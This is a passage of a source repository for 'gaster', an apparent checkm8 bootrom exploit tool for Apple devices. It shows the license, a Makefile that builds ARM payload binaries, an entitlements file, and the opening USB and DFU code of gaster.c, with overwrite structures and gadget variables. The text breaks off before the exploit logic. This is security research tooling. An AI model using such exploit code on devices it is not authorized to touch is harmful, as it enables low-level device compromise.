├── LICENSE ├── Makefile ├── ent.plist ├── gaster.c ├── lzfse.c ├── lzfse.h ├── payload_A9.S ├── payload_A9.bin ├── payload_handle_checkm8_request.S ├── payload_handle_checkm8_request.bin ├── payload_handle_checkm8_request_armv7.S ├── payload_handle_checkm8_request_armv7.bin ├── payload_notA9.S ├── payload_notA9.bin ├── payload_notA9_armv7.S └── payload_notA9_armv7.bin /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: macos libusb ios payload clean 2 | 3 | CC ?= clang 4 | 5 | macos: 6 | xxd -iC payload_A9.bin payload_A9.h 7 | xxd -iC payload_notA9.bin payload_notA9.h 8 | xxd -iC payload_notA9_armv7.bin payload_notA9_armv7.h 9 | xxd -iC payload_handle_checkm8_request.bin payload_handle_checkm8_request.h 10 | xxd -iC payload_handle_checkm8_request_armv7.bin payload_handle_checkm8_request_armv7.h 11 | xcrun -sdk macosx clang -mmacosx-version-min=10.9 -Weverything gaster.c lzfse.c -o gaster -framework CoreFoundation -framework IOKit -Os 12 | $(RM) payload_A9.h payload_notA9.h payload_notA9_armv7.h payload_handle_checkm8_request.h payload_handle_checkm8_request_armv7.h 13 | 14 | libusb: 15 | xxd -iC payload_A9.bin payload_A9.h 16 | xxd -iC payload_notA9.bin payload_notA9.h 17 | xxd -iC payload_notA9_armv7.bin payload_notA9_armv7.h 18 | xxd -iC payload_handle_checkm8_request.bin payload_handle_checkm8_request.h 19 | xxd -iC payload_handle_checkm8_request_armv7.bin payload_handle_checkm8_request_armv7.h 20 | $(CC) -Wall -Wextra -Wpedantic -DHAVE_LIBUSB gaster.c lzfse.c -o gaster -lusb-1.0 -lcrypto -Os 21 | $(RM) payload_A9.h payload_notA9.h payload_notA9_armv7.h payload_handle_checkm8_request.h payload_handle_checkm8_request_armv7.h 22 | 23 | ios: 24 | mkdir headers 25 | ln -s $(shell xcrun -sdk macosx -show-sdk-path)/usr/include/libkern headers 26 | ln -s $(shell xcrun -sdk macosx -show-sdk-path)/System/Library/Frameworks/IOKit.framework/Headers headers/IOKit 27 | xxd -iC payload_A9.bin payload_A9.h 28 | xxd -iC payload_notA9.bin payload_notA9.h 29 | xxd -iC payload_notA9_armv7.bin payload_notA9_armv7.h 30 | xxd -iC payload_handle_checkm8_request.bin payload_handle_checkm8_request.h 31 | xxd -iC payload_handle_checkm8_request_armv7.bin payload_handle_checkm8_request_armv7.h 32 | xcrun -sdk iphoneos clang -arch armv7 -arch arm64 -isystemheaders -mios-version-min=9.0 -Weverything gaster.c lzfse.c -o gaster -framework CoreFoundation -framework IOKit -Os 33 | $(RM) payload_A9.h payload_notA9.h payload_notA9_armv7.h payload_handle_checkm8_request.h payload_handle_checkm8_request_armv7.h 34 | $(RM) -r headers 35 | 36 | payload: 37 | as -arch arm64 payload_A9.S -o payload_A9.o 38 | gobjcopy -O binary -j .text payload_A9.o payload_A9.bin 39 | $(RM) payload_A9.o 40 | as -arch arm64 payload_notA9.S -o payload_notA9.o 41 | gobjcopy -O binary -j .text payload_notA9.o payload_notA9.bin 42 | $(RM) payload_notA9.o 43 | as -arch armv7 payload_notA9_armv7.S -o payload_notA9_armv7.o 44 | gobjcopy -O binary -j .text payload_notA9_armv7.o payload_notA9_armv7.bin 45 | $(RM) payload_notA9_armv7.o 46 | as -arch arm64 payload_handle_checkm8_request.S -o payload_handle_checkm8_request.o 47 | gobjcopy -O binary -j .text payload_handle_checkm8_request.o payload_handle_checkm8_request.bin 48 | $(RM) payload_handle_checkm8_request.o 49 | as -arch armv7 payload_handle_checkm8_request_armv7.S -o payload_handle_checkm8_request_armv7.o 50 | gobjcopy -O binary -j .text payload_handle_checkm8_request_armv7.o payload_handle_checkm8_request_armv7.bin 51 | $(RM) payload_handle_checkm8_request_armv7.o 52 | 53 | clean: 54 | $(RM) gaster 55 | -------------------------------------------------------------------------------- /ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | platform-application 6 | 7 | com.apple.private.security.no-container 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /gaster.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2023 0x7ff 2 | * 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | #include "lzfse.h" 16 | #ifdef HAVE_LIBUSB 17 | # include 18 | # include 19 | # include 20 | # include 21 | # include 22 | #else 23 | # include 24 | # include 25 | # include 26 | # include 27 | #endif 28 | 29 | #define DFU_DNLOAD (1) 30 | #define AES_CMD_DEC (1U) 31 | #define APPLE_VID (0x5AC) 32 | #define AES_CMD_CBC (16U) 33 | #define AES_BLOCK_SZ (16) 34 | #define DFU_STATUS_OK (0) 35 | #define DFU_GET_STATUS (3) 36 | #define DFU_CLR_STATUS (4) 37 | #define MAX_BLOCK_SZ (0x50) 38 | #define DFU_MODE_PID (0x1227) 39 | #define DFU_STATE_MANIFEST (7) 40 | #define EP0_MAX_PACKET_SZ (0x40) 41 | #define DFU_FILE_SUFFIX_LEN (16) 42 | #define AES_KEY_SZ_BYTES_256 (32) 43 | #define AES_KEY_TYPE_GID0 (0x200U) 44 | #define DFU_MAX_TRANSFER_SZ (0x800) 45 | #define DFU_STATE_MANIFEST_SYNC (6) 46 | #define AES_KEY_SZ_256 (0x20000000U) 47 | #define ARM_16K_TT_L2_SZ (0x2000000U) 48 | #define DFU_STATE_MANIFEST_WAIT_RESET (8) 49 | #define DONE_MAGIC (0x646F6E65646F6E65ULL) 50 | #define EXEC_MAGIC (0x6578656365786563ULL) 51 | #define MEMC_MAGIC (0x6D656D636D656D63ULL) 52 | #define USB_MAX_STRING_DESCRIPTOR_IDX (10) 53 | 54 | #define LZSS_F (18) 55 | #define LZSS_N (4096) 56 | #define DER_INT (0x2U) 57 | #define DER_SEQ (0x30U) 58 | #define LZSS_THRESHOLD (2) 59 | #define DER_IA5_STR (0x16U) 60 | #define DER_OCTET_STR (0x4U) 61 | #define COMP_HDR_PAD_SZ (0x16C) 62 | #define COMP_HDR_MAGIC (0x636F6D70U) 63 | #define DER_FLAG_OPTIONAL (1U << 0U) 64 | #define COMP_HDR_TYPE_LZSS (0x6C7A7373U) 65 | 66 | #ifndef HAVE_LIBUSB 67 | # if TARGET_OS_IPHONE 68 | # define kUSBPipeStalled kUSBHostReturnPipeStalled 69 | # else 70 | # define kUSBPipeStalled kIOUSBPipeStalled 71 | # endif 72 | #endif 73 | 74 | #ifndef MIN 75 | # define MIN(a, b) ((a) < (b) ? (a) : (b)) 76 | #endif 77 | 78 | typedef struct { 79 | uint64_t func, arg; 80 | } callback_t; 81 | 82 | typedef struct { 83 | const uint8_t *buf; 84 | size_t len; 85 | } der_item_t; 86 | 87 | typedef struct { 88 | uint8_t off, tag, flags; 89 | } der_item_spec_t; 90 | 91 | typedef struct { 92 | uint32_t endpoint, pad_0; 93 | uint64_t io_buffer; 94 | uint32_t status, io_len, ret_cnt, pad_1; 95 | uint64_t callback, next; 96 | } dfu_callback_t; 97 | 98 | typedef struct { 99 | uint32_t endpoint, io_buffer, status, io_len, ret_cnt, callback, next; 100 | } dfu_callback_armv7_t; 101 | 102 | typedef struct { 103 | der_item_t magic, type, vers, data, kbag, comp; 104 | } im4p_t; 105 | 106 | typedef struct { 107 | der_item_t magic; 108 | im4p_t im4p; 109 | } img4_t; 110 | 111 | typedef struct { 112 | dfu_callback_t callback; 113 | } checkm8_overwrite_t; 114 | 115 | typedef struct { 116 | dfu_callback_armv7_t callback; 117 | } checkm8_overwrite_armv7_t; 118 | 119 | typedef struct { 120 | uint16_t vid, pid; 121 | #ifdef HAVE_LIBUSB 122 | struct libusb_device_handle *device; 123 | #else 124 | io_service_t serv; 125 | IOUSBDeviceInterface320 **device; 126 | CFRunLoopSourceRef async_event_source; 127 | #endif 128 | } usb_handle_t; 129 | 130 | typedef bool (*usb_check_cb_t)(usb_handle_t *, void *); 131 | 132 | enum usb_transfer { 133 | USB_TRANSFER_OK, 134 | USB_TRANSFER_ERROR, 135 | USB_TRANSFER_STALL 136 | }; 137 | 138 | typedef struct { 139 | enum usb_transfer ret; 140 | uint32_t sz; 141 | } transfer_ret_t; 142 | 143 | extern uint8_t payload_A9_bin[], payload_notA9_bin[], payload_notA9_armv7_bin[], payload_handle_checkm8_request_bin[], payload_handle_checkm8_request_armv7_bin[]; 144 | extern unsigned payload_A9_bin_len, payload_notA9_bin_len, payload_notA9_armv7_bin_len, payload_handle_checkm8_request_bin_len, payload_handle_checkm8_request_armv7_bin_len; 145 | 146 | #include "payload_A9.h" 147 | #include "payload_notA9.h" 148 | #include "payload_notA9_armv7.h" 149 | #include "payload_handle_checkm8_request.h" 150 | #include "payload_handle_checkm8_request_armv7.h" 151 | 152 | static uint16_t cpid; 153 | static uint32_t payload_dest_armv7; 154 | static const char *pwnd_str = " PWND:[checkm8]"; 155 | static der_item_spec_t der_img4_item_specs[] = { 156 | { 0, DER_IA5_STR, 0 }, 157 | { 1, DER_SEQ, 0 } 158 | }, der_im4p_item_specs[] = { 159 | { 0, DER_IA5_STR, 0 }, 160 | { 1, DER_IA5_STR, 0 }, 161 | { 2, DER_IA5_STR, 0 }, 162 | { 3, DER_OCTET_STR, 0 }, 163 | { 4, DER_OCTET_STR, DER_FLAG_OPTIONAL }, 164 | { 5, DER_SEQ, DER_FLAG_OPTIONAL } 165 | }; 166 | static unsigned usb_timeout, usb_abort_timeout_min; 167 | static struct { 168 | uint8_t b_len, b_descriptor_type; 169 | uint16_t bcd_usb; 170 | uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz; 171 | uint16_t id_vendor, id_product, bcd_device; 172 | uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations; 173 | } device_descriptor; 174 | static size_t config_hole, ttbr0_vrom_off, ttbr0_sram_off, config_large_leak, config_overwrite_pad; 175 | static uint64_t tlbi, nop_gadget, ret_gadget, patch_addr, ttbr0_addr, func_gadget, write_ttbr0, memcpy_addr, aes_crypto_cmd, boot_tramp_end, gUSBSerialNumber, dfu_handle_request, usb_core_do_transfer, dfu_handle_bus_reset, insecure_memory_base, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor; 176 | 177 | static void 178 | sleep_ms(unsigned ms) { 179 | #ifdef WIN32 180 | Sleep(ms); 181 | #else 182 | struct timespec ts; 183 | 184 | ts.tv_sec = ms / 1000; 185 | ts.tv_nsec = (ms % 1000) * 1000000L; 186 | nanosleep(&ts, NULL); 187 | #endif 188 | } 189 | 190 | #ifdef HAVE_LIBUSB 191 | static void 192 | close_usb_handle(usb_handle_t *handle) { 193 | libusb_close(handle->device); 194 | libusb_exit(NULL); 195 | } 196 | 197 | static void 198 | reset_usb_handle(const usb_handle_t *handle) { 199 | libusb_reset_device(handle->device); 200 | } 201 | 202 | static bool 203 | wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) { 204 | if(libusb_init(NULL) == LIBUSB_SUCCESS) { 205 | printf("[libusb] Waiting for the USB handle with VID: 0x%" PRIX16 ", PID: 0x%" PRIX16 "\n", handle->vid, handle->pid); 206 | for(;;) { 207 | if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { 208 | if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS && (usb_check_cb == NULL || usb_check_cb(handle, arg))) { 209 | puts("Found the USB handle."); 210 | return true; 211 | } 212 | libusb_close(handle->device); 213 | } 214 | sleep_ms(usb_timeout); 215 | } 216 | } 217 | return false; 218 | } 219 | 220 | static void 221 | usb_async_cb(struct libusb_transfer *transfer) { 222 | *(int *)transfer->user_data = 1; 223 | } 224 | 225 | static bool 226 | send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { 227 | int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, usb_timeout); 228 | 229 | if(transfer_ret != NULL) { 230 | if(ret >= 0) { 231 | transfer_ret->sz = (uint32_t)ret; 232 | transfer_ret->ret = USB_TRANSFER_OK; 233 | } else if(ret == LIBUSB_ERROR_PIPE) { 234 | transfer_ret->ret = USB_TRANSFER_STALL; 235 | } else { 236 | transfer_ret->ret = USB_TRANSFER_ERROR; 237 | } 238 | } 239 | return true; 240 | } 241 | 242 | static bool 243 | send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { 244 | struct libusb_transfer *transfer = libusb_alloc_transfer(0); 245 | struct timeval tv; 246 | int completed = 0; 247 | uint8_t *buf; 248 | 249 | if(transfer != NULL) { 250 | if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) { 251 | if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) { 252 | memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len); 253 | } 254 | libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len); 255 | libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, usb_timeout); 256 | if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) { 257 | tv.tv_sec = usb_abort_timeout / 1000; 258 | tv.tv_usec = (usb_abort_timeout % 1000) * 1000; 259 | while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) { 260 | libusb_cancel_transfer(transfer); 261 | } 262 | if(completed != 0) { 263 | if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) { 264 | memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length); 265 | } 266 | if(transfer_ret != NULL) { 267 | transfer_ret->sz = (uint32_t)transfer->actual_length; 268 | if(transfer->status == LIBUSB_TRANSFER_COMPLETED) { 269 | transfer_ret->ret = USB_TRANSFER_OK; 270 | } else if(transfer->status == LIBUSB_TRANSFER_STALL) { 271 | transfer_ret->ret = USB_TRANSFER_STALL; 272 | } else { 273 | transfer_ret->ret = USB_TRANSFER_ERROR; 274 | } 275 | } 276 | } 277 | } 278 | free(buf); 279 | } 280 | libusb_free_transfer(transfer); 281 | } 282 | return completed != 0; 283 | } 284 | 285 | static void 286 | init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { 287 | handle->vid = vid; 288 | handle->pid = pid; 289 | handle->device = NULL; 290 | } 291 | #else 292 | static void 293 | cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) { 294 | CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val); 295 | 296 | if(cf_val != NULL) { 297 | CFDictionarySetValue(dict, key, cf_val); 298 | CFRelease(cf_val); 299 | } 300 | } 301 | 302 | static bool 303 | query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) { 304 | IOCFPlugInInterface **plugin_interface; 305 | bool ret = false; 306 | SInt32 score; 307 | 308 | if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) { 309 | ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess; 310 | IODestroyPlugInInterface(plugin_interface); 311 | } 312 | IOObjectRelease(serv); 313 | return ret; 314 | } 315 | 316 | static void 317 | close_usb_device(usb_handle_t *handle) { 318 | CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); 319 | CFRelease(handle->async_event_source); 320 | (*handle->device)->USBDeviceClose(handle->device); 321 | (*handle->device)->Release(handle->device); 322 | } 323 | 324 | static void 325 | close_usb_handle(usb_handle_t *handle) { 326 | close_usb_device(handle); 327 | } 328 | 329 | static bool 330 | open_usb_device(io_service_t serv, usb_handle_t *handle) { 331 | bool ret = false; 332 | 333 | if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) { 334 | if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) { 335 | if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) { 336 | CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); 337 | ret = true; 338 | } else { 339 | (*handle->device)->USBDeviceClose(handle->device); 340 | } 341 | } 342 | if(!ret) { 343 | (*handle->device)->Release(handle->device); 344 | } 345 | } 346 | return ret; 347 | } 348 | 349 | static bool 350 | wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) { 351 | CFMutableDictionaryRef matching_dict; 352 | const char *darwin_device_class; 353 | io_iterator_t iter; 354 | io_service_t serv; 355 | bool ret = false; 356 | 357 | printf("[IOKit] Waiting for the USB handle with VID: 0x%" PRIX16 ", PID: 0x%" PRIX16 "\n", handle->vid, handle->pid); 358 | #if TARGET_OS_IPHONE 359 | darwin_device_class = "IOUSBHostDevice"; 360 | #else 361 | darwin_device_class = kIOUSBDeviceClassName; 362 | #endif 363 | while((matching_dict = IOServiceMatching(darwin_device_class)) != NULL) { 364 | cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid); 365 | cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid); 366 | if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) { 367 | while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) { 368 | if(open_usb_device(serv, handle)) { 369 | if(usb_check_cb == NULL || usb_check_cb(handle, arg)) { 370 | puts("Found the USB handle."); 371 | ret = true; 372 | break; 373 | } 374 | close_usb_device(handle); 375 | } 376 | } 377 | IOObjectRelease(iter); 378 | if(ret) { 379 | break; 380 | } 381 | sleep_ms(usb_timeout); 382 | } 383 | } 384 | return ret; 385 | } 386 | 387 | static void 388 | reset_usb_handle(usb_handle_t *handle) { 389 | (*handle->device)->ResetDevice(handle->device); 390 | (*handle->device)->USBDeviceReEnumerate(handle->device, 0); 391 | } 392 | 393 | static void 394 | usb_async_cb(void *refcon, IOReturn ret, void *arg) { 395 | transfer_ret_t *transfer_ret = refcon; 396 | 397 | if(transfer_ret != NULL) { 398 | memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz)); 399 | if(ret == kIOReturnSuccess) { 400 | transfer_ret->ret = USB_TRANSFER_OK; 401 | } else if(ret == kUSBPipeStalled) { 402 | transfer_ret->ret = USB_TRANSFER_STALL; 403 | } else { 404 | transfer_ret->ret = USB_TRANSFER_ERROR; 405 | } 406 | } 407 | CFRunLoopStop(CFRunLoopGetCurrent()); 408 | } 409 | 410 | static bool 411 | send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { 412 | IOUSBDevRequestTO req; 413 | IOReturn ret; 414 | 415 | req.wLenDone = 0; 416 | req.pData = p_data; 417 | req.bRequest = b_request; 418 | req.bmRequestType = bm_request_type; 419 | req.wLength = OSSwapLittleToHostInt16(w_len); 420 | req.wValue = OSSwapLittleToHostInt16(w_value); 421 | req.wIndex = OSSwapLittleToHostInt16(w_index); 422 | req.completionTimeout = req.noDataTimeout = usb_timeout; 423 | ret = (*handle->device)->DeviceRequestTO(handle->device, &req); 424 | if(transfer_ret != NULL) { 425 | if(ret == kIOReturnSuccess) { 426 | transfer_ret->sz = req.wLenDone; 427 | transfer_ret->ret = USB_TRANSFER_OK; 428 | } else if(ret == kUSBPipeStalled) { 429 | transfer_ret->ret = USB_TRANSFER_STALL; 430 | } else { 431 | transfer_ret->ret = USB_TRANSFER_ERROR; 432 | } 433 | } 434 | return true; 435 | } 436 | 437 | static bool 438 | send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { 439 | IOUSBDevRequestTO req; 440 | 441 | req.wLenDone = 0; 442 | req.pData = p_data; 443 | req.bRequest = b_request; 444 | req.bmRequestType = bm_request_type; 445 | req.wLength = OSSwapLittleToHostInt16(w_len); 446 | req.wValue = OSSwapLittleToHostInt16(w_value); 447 | req.wIndex = OSSwapLittleToHostInt16(w_index); 448 | req.completionTimeout = req.noDataTimeout = usb_timeout; 449 | if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) { 450 | sleep_ms(usb_abort_timeout); 451 | if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) { 452 | CFRunLoopRun(); 453 | return true; 454 | } 455 | } 456 | return false; 457 | } 458 | 459 | static void 460 | init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { 461 | handle->vid = vid; 462 | handle->pid = pid; 463 | handle->device = NULL; 464 | } 465 | #endif 466 | 467 | static bool 468 | send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, 